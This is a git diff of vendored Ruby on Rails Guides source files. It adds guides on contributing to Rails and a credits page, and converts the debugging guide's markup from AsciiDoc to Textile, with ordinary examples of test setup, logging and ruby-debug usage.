+All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions.
+
+h3. Translations
+
+The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page.
+
+h3. Mailing List
+
+"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions.
+
+h3. IRC Channel
+
+==#docrails @ irc.freenode.net==
+
+h3. Contact
+
+If you have any questions or need any clarification, feel free to contact:
+
+* IRC : lifo, mikeg1a or fxn in #docrails
+* Email : pratiknaik aT gmail
diff --git a/vendor/rails/railties/guides/source/contributing_to_rails.textile b/vendor/rails/railties/guides/source/contributing_to_rails.textile
new file mode 100644
index 00000000..84778ed9
--- /dev/null
+++ b/vendor/rails/railties/guides/source/contributing_to_rails.textile
@@ -0,0 +1,239 @@
+h2. Contributing to Rails
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Rails. After reading it, you should be familiar with:
+
+* Using Lighthouse to report issues with Rails
+* Cloning edge Rails and running the test suite
+* Helping to resolve existing issues
+* Contributing to the Rails documentation
+* Contributing to the Rails code
+
+Rails is not "someone else's framework." Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don't feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation.
+
+endprologue.
+
+h3. Reporting a Rails Issue
+
+Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start.
+
+NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing.
+
+h4. Creating a Bug Report
+
+If you've found a problem in Rails, you can start by "adding a new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
+
+You shouldn't assign the bug to a particular core developer (through the *Who's Responsible* select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them.
+
+You should set tags for your issue. Use the "bug" tag for a bug report, and add the "patch" tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the *Choose some tags* textbox), rather than creating new tags.
+
+Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.
+
+h4. Special Treatment for Security Issues
+
+If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.
+
+h4. What About Feature Requests?
+
+Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+
+h3. Running the Rails Test Suite
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you _must_ be able to run the Rails test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+h4. Install git
+
+Rails uses git for source code control. You won’t be able to do anything without the Rails source code, and this is a prerequisite. The "git homepage":http://git-scm.com/ has installation instructions. If you’re on OS X, use the "Git for OS X":http://code.google.com/p/git-osx-installer/ installer. If you're unfamiliar with git, there are a variety of resources on the net that will help you learn more:
+
+* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by. 
+* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
+* "GitHub":http://github.com/guides/home offers links to a variety of git resources.
+
+h4. Get the Rails Source Code
+
+Don’t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run:
+
+<shell>
+git clone git://github.com/rails/rails.git  
+cd rails
+</shell>
+
+h4. Set up and Run the Tests
+
+All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL:
+
+<shell>
+mysql> create database activerecord_unittest;  
+mysql> create database activerecord_unittest2;  
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*  
+       to 'rails'@'localhost';  
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*  
+       to 'rails'@'localhost';  
+</shell>
+
+If you’re using another database, check the files under +activerecord/test/connections+ in the Rails source code for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.
+
+Now if you go back to the root of the Rails source on your machine and run +rake+ with no parameters, you should see every test in all of the Rails components pass. If you want to run the all ActiveRecord tests (or just a single one) with another database adapter, enter this from the +activerecord+ directory:
+
+<shell>
+rake test_sqlite3 
+rake test_sqlite3 TEST=test/cases/validations_test.rb
+</shell>
+
+You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
+
+
+
+NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+h3. Helping to Resolve Existing Issues
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+h4. Verifying Bug Reports
+
+For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you're seeing the same thing.
+
+If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+h4. Testing Patches
+
+You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone's changes you need to first create a branch of the Rails source code:
+
+<shell>
+git checkout -b testing_branch
+</shell>
+
+Then you can apply their patch:
+
+<shell>
+git am < their-patch-file.diff
+</shell>
+
+After applying a patch, test it out! Here are some things to think about:
+
+* Does the patch actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does the documentation still seem right to you?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the "verified" tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things.
+
+h3. Contributing to the Rails Documentation
+
+Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation.
+
+TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
+
+h4. The Rails Guides
+
+The "Rails Guides":http://guides.rubyonrails.org/ are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the "docrails":http://github.com/lifo/docrails/tree/master project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the "contribution page":contribute.html for instructions on getting involved.
+
+h4. The Rails API Documentation
+
+The "Rails API documentation":http://api.rubyonrails.org/ is automatically generated from the Rails source code via "RDoc":http://rdoc.rubyforge.org/. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it.
+
+To contribute an update to the API documentation, you can contact "lifo":http://github.com/lifo on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the "docrails RDoc conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions when contributing the changes.
+
+h3. The Rails Wiki
+
+The "Rails wiki":http://wiki.rubyonrails.org/ is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn't there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on "contributing to the wiki":http://wiki.rubyonrails.org/#contributing_to_the_wiki for more details.
+
+h3. Contributing to the Rails Code
+
+When you're ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here's a step-by-step listing of the things you need to do to make this a successful experience.
+
+h4. Learn the Language and the Framework
+
+Learn at least _something_ about Ruby and Rails. If you don’t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, you’re unlikely to be able to build a good patch (that is, one that will get accepted). You don’t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) "The Ruby Programming Language":http://www.amazon.com/gp/product/0596516177?ie=UTF8&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596516177 and have browsed the Rails source code.
+
+h4. Fork the Rails Source Code
+
+Fork Rails. You’re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run
+
+<shell>
+git checkout -b my_new_branch  
+</shell>
+
+It doesn’t really matter what name you use, because this branch will only exist on your local computer.
+
+h4. Write Your Code
+
+Now get busy and add your code to Rails (or edit the existing code). You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right
+* Use Rails idioms and helpers
+* Include tests that fail without your code, and pass with it
+* Update the documentation
+
+h4. Sanity Check
+
+You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+
+h4. Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to git:
+
+<shell>
+git commit -a -m "Here is a commit message"
+</shell>
+
+h4. Update Rails
+
+Update your copy of Rails. It’s pretty likely that other changes to core Rails have happened while you were working. Go get them:
+
+<shell>
+git checkout master  
+git pull  
+</shell>
+
+Now reapply your patch on top of the latest changes:
+
+<shell>
+git checkout my_new_branch  
+git rebase master  
+</shell>
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+h4. Create a Patch
+
+Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run
+
+<shell>
+git commit -a  
+git format-patch master --stdout > my_new_patch.diff  
+</shell>
+
+Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in.
+
+h4. Create a Lighthouse Ticket
+
+Now create a ticket with your patch. Go to the "new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the ‘patch’ tag and whatever other subject area tags make sense.
+
+h4. Get Some Feedback
+
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+
+h4. Iterate as Necessary
+
+It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin.
+
+And then...think about your next contribution!
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64
+
+* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy
+
+
diff --git a/vendor/rails/railties/guides/source/credits.erb.textile b/vendor/rails/railties/guides/source/credits.erb.textile
new file mode 100644
index 00000000..b09a931f
--- /dev/null
+++ b/vendor/rails/railties/guides/source/credits.erb.textile
@@ -0,0 +1,52 @@
+<% content_for :header_section do %>
+h2. Credits
+
+p. We'd like to thank the following people for their tireless contributions to this project.
+
+<% end %>
+
+<h3 class="section">Rails Documentation Team</h3>
+
+<% author('Mike Gunderloy', 'mgunderloy') do %>
+  Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much.
+<% end %>
+
+<% author('Pratik Naik', 'lifo') do %>
+  Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.org/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo.
+<% end %>
+
+<% author('Xavier Noria', 'fxn', 'fxn.jpg') do %>
+  Xavier Noria has been around dynamic languages since 2000. He fell in love with Rails in 2005, and cofounded Rails-based software company <a href="http://www.aspgems.com">ASPgems</a> in mid-2006. Xavier is president of the <a href="http://www.srug.org/">Spanish Ruby Users Group</a> and has been involved in Rails in several ways. He enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also "tweets":http://twitter.com/fxn!
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<% author('Jason Zimdars', 'jz') do %>
+  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<% author('Frederick Cheung', 'fcheung') do %>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org.
+<% end %>
+
+<% author('Tore Darell', 'toretore') do %>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog "Sneaky Abstractions":http://tore.darell.no.
+<% end %>
+
+<% author('Jeff Dean', 'zilkey') do %>
+  Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com.
+<% end %>
+
+<% author('Cássio Marques', 'cmarques') do %>
+  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<% author('Emilio Tagua', 'miloops') do %>
+  Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops.
+<% end %>
+
+<% author('Heiko Webers', 'hawe') do %>
+  Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
diff --git a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt b/vendor/rails/railties/guides/source/debugging_rails_applications.textile
similarity index 54%
rename from vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
rename to vendor/rails/railties/guides/source/debugging_rails_applications.textile
index 4425d924..c059fdab 100644
--- a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
+++ b/vendor/rails/railties/guides/source/debugging_rails_applications.textile
@@ -1,5 +1,4 @@
-Debugging Rails Applications
-============================
+h2. Debugging Rails Applications
 
 This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
 
@@ -8,30 +7,31 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re
 * Learn the different ways of debugging
 * Analyze the stack trace
 
-== View Helpers for Debugging
+endprologue.
+
+h3. View Helpers for Debugging
 
 One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
 
-* `debug`
-* `to_yaml`
-* `inspect`
+* +debug+
+* +to_yaml+
+* +inspect+
 
-=== debug
+h4. +debug+
 
-The `debug` helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
 
-[source, html]
-----------------------------------------------------------------------------
+<html>
 <%= debug @post %>
 <p>
   <b>Title:</b>
   <%=h @post.title %>
 </p>
-----------------------------------------------------------------------------
+</html>
 
 You'll see something like this:
 
-----------------------------------------------------------------------------
+<yaml>
 --- !ruby/object:Post
 attributes:
   updated_at: 2008-09-05 22:55:47
@@ -44,26 +44,25 @@ attributes_cache: {}
 
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+</yaml>
 
-=== to_yaml
+h4. +to_yaml+
 
 Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
 
-[source, html]
-----------------------------------------------------------------------------
+<html>
 <%= simple_format @post.to_yaml %>
 <p>
   <b>Title:</b>
   <%=h @post.title %>
 </p>
-----------------------------------------------------------------------------
+</html>
 
-The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
 
 As a result of this, you will have something like this in your view:
 
-----------------------------------------------------------------------------
+<yaml>
 --- !ruby/object:Post
 attributes:
 updated_at: 2008-09-05 22:55:47
@@ -75,109 +74,98 @@ created_at: 2008-09-05 22:55:47
 attributes_cache: {}
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+</yaml>
 
-=== inspect
+h4. +inspect+
 
-Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
 
-[source, html]
-----------------------------------------------------------------------------
+<html>
 <%= [1, 2, 3, 4, 5].inspect %>
 <p>
   <b>Title:</b>
   <%=h @post.title %>
 </p>
-----------------------------------------------------------------------------
+</html>
 
 Will be rendered as follows:
 
-----------------------------------------------------------------------------
+<pre>
 [1, 2, 3, 4, 5]
 
 Title: Rails debugging guide
-----------------------------------------------------------------------------
+</pre>
 
-=== Debugging Javascript
+h4. Debugging JavaScript
 
-Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
 
-To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+:
+To enable it, add the following in the +Rails::Initializer do |config|+ block inside +environment.rb+:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 config.action_view[:debug_rjs] = true
-----------------------------------------------------------------------------
+</ruby>
 
-Or, at any time, setting `ActionView::Base.debug_rjs` to _true_:
+Or, at any time, setting +ActionView::Base.debug_rjs+ to _true_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 ActionView::Base.debug_rjs = true
-----------------------------------------------------------------------------
+</ruby>
 
-[TIP]
-For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox.
+TIP: For more information on debugging javascript refer to "Firebug":http://getfirebug.com/, the popular debugger for Firefox.
 
-== The Logger
+h3. The Logger
 
 It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
 
-=== What is The Logger?
+h4. What is the Logger?
 
-Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish.
+Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish.
 
 You can specify an alternative logger in your +environment.rb+ or any environment file:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 ActiveRecord::Base.logger = Logger.new(STDOUT)
 ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+</ruby>
 
 Or in the +Initializer+ section, add _any_ of the following
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 config.logger = Logger.new(STDOUT)
 config.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+</ruby>
 
-[TIP]
-By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+.
+TIP: By default, each log is created under +RAILS_ROOT/log/+ and the log file name is +environment_name.log+.
 
-=== Log Levels
+h4. Log Levels
 
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method.
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +ActiveRecord::Base.logger.level+ method.
 
 The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 config.log_level = Logger::WARN # In any environment initializer, or
 ActiveRecord::Base.logger.level = 0 # at any time
-----------------------------------------------------------------------------
+</ruby>
 
 This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
 
-[TIP]
-The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
 
-=== Sending Messages
+h4. Sending Messages
 
-To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 logger.debug "Person attributes hash: #{@person.attributes.inspect}"
 logger.info "Processing the request..."
 logger.fatal "Terminating application, raised unrecoverable error!!!"
-----------------------------------------------------------------------------
+</ruby>
 
 Here's an example of a method instrumented with extra logging:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 class PostsController < ApplicationController
   # ...
 
@@ -197,99 +185,95 @@ class PostsController < ApplicationController
 
   # ...
 end
-----------------------------------------------------------------------------
+</ruby>
 
 Here's an example of the log generated by this method:
 
-----------------------------------------------------------------------------
+<shell>
 Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
   Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
 vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", 
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, 
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
  "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", 
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
  "published"=>false, "created_at"=>nil}
 Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published", 
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', 
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
  'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
 The post was saved and now is the user is going to be redirected...
 Redirected to #<Post:0x20af760>
 Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-----------------------------------------------------------------------------
+</shell>
 
 Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
 
-== Debugging with ruby-debug
+h3. Debugging with +ruby-debug+
 
 When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
 
 The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
 
-=== Setup
+h4. Setup
 
 The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
 
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
 $ sudo gem install ruby-debug
-----------------------------------------------------------------------------
+</shell>
 
-In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge].
+In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
 
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
 
 Here's an example:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 class PeopleController < ApplicationController
   def new
     debugger
     @person = Person.new
   end
 end
-----------------------------------------------------------------------------
+</ruby>
 
 If you see the message in the console or logs:
 
-----------------------------------------------------------------------------
+<shell>
 ***** Debugger requested, but was not available: Start server with --debugger to enable *****
-----------------------------------------------------------------------------
+</shell>
 
 Make sure you have started your web server with the option +--debugger+:
 
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
 ~/PathTo/rails_project$ script/server --debugger
 => Booting Mongrel (use 'script/server webrick' to force WEBrick)
 => Rails 2.2.0 application starting on http://0.0.0.0:3000
 => Debugger enabled
 ...
-----------------------------------------------------------------------------
+</shell>
 
-[TIP]
-In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.
+TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
 
 In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
 
-=== The Shell
+h4. The Shell
 
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
 
 If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
 
 For example:
 
-----------------------------------------------------------------------------
+<shell>
 @posts = Post.find(:all)
 (rdb:7)
-----------------------------------------------------------------------------
+</shell>
 
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:7) help
 ruby-debug help v0.10.2
 Type 'help <command-name>' for help on a specific command
@@ -300,16 +284,15 @@ break      disable  eval    info    p     reload   source  undisplay
 catch      display  exit    irb     pp    restart  step    up
 condition  down     finish  list    ps    save     thread  var
 continue   edit     frame   method  putl  set      tmate   where
-----------------------------------------------------------------------------
+</shell>
 
-[TIP]
-To view the help menu for any command use `help <command-name>` in active debug mode. For example: _+help var+_
+TIP: To view the help menu for any command use +help <command-name>+ in active debug mode. For example: _+help var+_
 
-The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
 
 This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:7) list
